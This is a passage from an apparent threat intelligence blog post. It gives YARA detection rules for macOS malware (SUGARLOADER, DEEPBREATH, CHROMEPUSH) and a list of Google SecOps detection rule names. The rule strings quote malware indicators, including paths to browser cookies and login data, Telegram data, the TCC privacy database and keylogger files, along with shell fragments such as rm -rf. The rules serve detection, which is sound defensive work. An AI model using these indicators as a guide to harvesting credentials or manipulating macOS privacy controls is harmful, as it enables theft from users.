date_modified = "2025/10/28"
rev = 2
strings:
$ss1 = "/usr/libexec/PlistBuddy -c \"print :IOConsoleUsers:0:CGSSessionScreenIsLocked\" /dev/stdin 2>/dev/null <<< \"$(ioreg -n Root -d1 -a)\"" ascii fullword
$ss2 = "pkill -CONT -f" ascii fullword
$ss3 = "pkill -STOP -f" ascii fullword
$ss4 = "/Library/Caches/.Logs.db" ascii fullword
$ss5 = "/Library/Caches/.evt_"
$ss6 = "{\"bot_id\":\""
$ss7 = "\", \"status\":"
$ss8 = "/Library/Fonts/.analyzed" ascii fullword
condition:
all of them
}
rule G_APTFIN_Downloader_SUGARLOADER_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
md5 = "3712793d3847dd0962361aa528fa124c"
date_created = "2025/10/15"
date_modified = "2025/10/15"
rev = 1
strings:
$ss1 = "/Library/OSRecovery/com.apple.os.config"
$ss2 = "/Library/Group Containers/OSRecovery"
$ss4 = "_wolfssl_make_rng"
condition:
all of them
}
rule G_APTFIN_Downloader_SUGARLOADER_2 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$m1 = "__mod_init_func\x00lko2\x00"
$m2 = "__mod_term_func\x00lko2\x00"
$m3 = "/usr/lib/libcurl.4.dylib"
condition:
(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe) and (all of ($m1, $m2, $m3))
}
rule G_Datamine_DEEPBREATH_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$sa1 = "-fakedel"
$sa2 = "-autodat"
$sa3 = "-datadel"
$sa4 = "-extdata"
$sa5 = "TccClickJack"
$sb1 = "com.apple.TCC\" as alias"
$sb2 = "/TCC.db\" as alias"
$sc1 = "/group.com.apple.notes\") as alias"
$sc2 = ".keepcoder.Telegram\")"
$sc3 = "Support/Google/Chrome/\")"
$sc4 = "Support/BraveSoftware/Brave-Browser/\")"
$sc5 = "Support/Microsoft Edge/\")"
$sc6 = "& \"/Local Extension Settings\""
$sc7 = "& \"/Cookies\""
$sc8 = "& \"/Login Data\""
$sd1 = "\"cp -rf \" & quoted form of "
condition:
(uint32(0) == 0xfeedfacf) and 2 of ($sa*) and 2 of ($sb*) and 3 of ($sc*) and 1 of ($sd*)
}
rule G_Datamine_CHROMEPUSH_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-11-06"
date_modified = "2025-11-06"
rev = 1
strings:
$s1 = "%s/CA%02d%02d%02d%02d%02d%02d.dat"
$s2 = "%s/tmpCA.dat"
$s3 = "mouseStates"
$s4 = "touch /Library/Caches/.evt_"
$s5 = "cp -f"
$s6 = "rm -rf"
$s7 = "keylogs"
$s8 = "%s/KL%02d%02d%02d%02d%02d%02d.dat"
$s9 = "%s/tmpKL.dat"
$s10 = "OK: Create data.js success"
condition:
(uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcafebabf or uint32(0) == 0xbfbafeca) and 8 of them
}
Google Security Operations(SecOps)
Google SecOpsのお客様は、「Mandiant Intel Emerging Threats」および「Mandiant Hunting Rules」ルールパックの下で、これらの広範なカテゴリルールやその他のルールにアクセスできます。本ブログ投稿で議論した活動は、Google SecOpsにおいて以下のルール名で検知されます:
-
Application Support com.apple Suspicious Filewrites
-
Chrome Native Messaging Directory
-
Chrome Service Worker Directory Deletion
-
Database Staging in Library Caches
-
macOS Chrome Extension Modification
-
macOS Notes Database Harvesting
-
macOS TCC Database Manipulation
-
Suspicious Access To macOS Web Browser Credentials
-
Suspicious Audio Hardware Fingerprinting
-
Suspicious Keychain Interaction
-
Suspicious Library Font Directory File Write
-
Suspicious Multi-Stage Payload Loader
-
Suspicious Permissions on macOS System File
-
Suspicious SoftwareUpdate Masquerading
-
Suspicious TCC Database Modification
-
Suspicious Web Downloader Pipe to ZSH
-
Telegram Session Data Staging